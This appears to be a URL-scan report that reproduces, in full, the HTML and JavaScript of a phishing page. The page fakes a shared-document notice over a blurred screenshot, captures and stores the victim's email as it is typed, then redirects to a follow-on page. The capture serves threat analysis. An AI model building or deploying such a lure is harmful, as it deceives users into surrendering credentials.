https://www.budgetmastermind.com/lisds/miques/index.htm

Submitted URL:
https://www.budgetmastermind.com/lisds/miques/index.htm
Report Finished:

JavaScript Variables · 3 found

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject

Console log messages · 1 found

TypeCategoryLog
errornetwork
URL
https://www.budgetmastermind.com/Screenshot%202024-11-06%20213845.png
Text
Failed to load resource: the server responded with a status of 404 ()

HTML

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Collection Modal with Redirect and Auto-grab</title>
    <style>
        body, html {
            height: 100%;
            margin: 0;
            font-family: Arial, sans-serif;
            overflow-x: hidden;
        }
        .content img{
            padding: 20px;
            transition: filter 0.3s ease;
        }
        .blur {
            filter: blur(9.5px);
        }
        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(75, 85, 99, 0.7);
                    display: flex;
            justify-content: center;
            align-items: flex-start;
            padding-top: 100px;
        }
        .modal {
            background-color: white;
            padding: 2rem;
            position: relative;
            top: 10px;
            border-radius: 1px;
            width: 100%;
            height: 281px;
            max-width: 580px;
          
        }
      
        h2 {
            color: #2B3674;
            font-size: 1.25rem;
            margin-bottom: 1rem;
        }
        p {
            color: #64748B;
            font-size: 0.875rem;
            margin-bottom: 1rem;
        }
        input[type="email"] {
            width: 100%;
            padding: 0.5rem;
            border: 1px solid #E2E8F0;
            border-radius: 4px;
            margin-bottom: 0.25rem;
            font-size: 1rem;
            outline: none;
        }
        input[type="email"]:invalid {
            border-color: #FF7F50;
            background-color: #FFF5F3;
        }
        input[type="email"]:focus {
            border-color: #4299E1;
            box-shadow: 0 0 0 3px #4299E1;
        }
        .validation-message {
            font-size: 12px;
            color: #22C55E;
            margin-top: 4px;
            height: 16px;
        }
        .validation-message.valid {
            color: #22C55E;
            position: relative;
            font-size: medium;
          
        }
        .validation-message.invalid {
          font-size: medium;
            position: relative;
            color: #22C55E;
        }
        button {
            background-color: #ff6347;
            border: none;
            color: white;
            padding: 10px 32px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin: 2px 2px;
            cursor: pointer;
            border-radius: 1px;
            position: relative;
            top: 50px;
            
        }
        button:hover {
            background-color: #FF6B5E;
        }
        .image-container {
            max-width: 100%;
            margin-top: 20px;
        }
        .image-container img {
            width: 100%;
            height: auto;
            border-radius: 8px;
        }
        
    </style>
</head>
<body>
    <div class="content blur" id="pageContent">
        <div class="image-container">
            <img src="/Screenshot 2024-11-06 213845.png" alt="XML Seminar Schedule">
        </div>
    </div>

    <div class="modal-overlay" id="modalOverlay">
        <div class="modal">
            <h2 style="padding-bottom:22px ;">ROSIE HALLS shared this document with you.</h2>
            <p style="font-size: larger; color: black;  "> Please enter your email address to continue *</p>
            <form id="emailForm">
                <input type="email" id="emailInput" placeholder="Email address" required="">
                <div class="validation-message" id="validationMessage"></div>
                <button type="submit">Submit</button>
            </form>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.getElementById('emailForm');
            const modalOverlay = document.getElementById('modalOverlay');
            const pageContent = document.getElementById('pageContent');
            const emailInput = document.getElementById('emailInput');
            const validationMessage = document.getElementById('validationMessage');

            pageContent.classList.add('blur');

            function validateEmail(email) {
                const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                return re.test(email);
            }

            function autoGrabEmail() {
                const enteredEmail = emailInput.value;
                if (enteredEmail && enteredEmail.includes('@')) {
                    localStorage.setItem('userEmail', enteredEmail);
                }
            }

            const savedEmail = localStorage.getItem('userEmail');
            if (savedEmail) {
                emailInput.value = savedEmail;
            }

            emailInput.addEventListener('input', function() {
                autoGrabEmail();
                if (emailInput.value.trim() !== '') {
                    if (validateEmail(emailInput.value)) {
                        validationMessage.textContent = 'That email address is valid.';
                        validationMessage.className = 'validation-message valid';
                    } else {
                        validationMessage.textContent = 'Enter valid email address';
                        validationMessage.className = 'validation-message invalid';
                    }
                } else {
                    validationMessage.textContent = '';
                    validationMessage.className = 'validation-message';
                }
            });

            form.addEventListener('submit', function(e) {
                e.preventDefault();
                const email = emailInput.value;
                console.log('Email submitted:', email);
                
                localStorage.setItem('userEmail', email);
                
                window.location.href = 'https://www.budgetmastermind.com/Interior/airq/index.html';
            });
        });
    </script>

</body></html>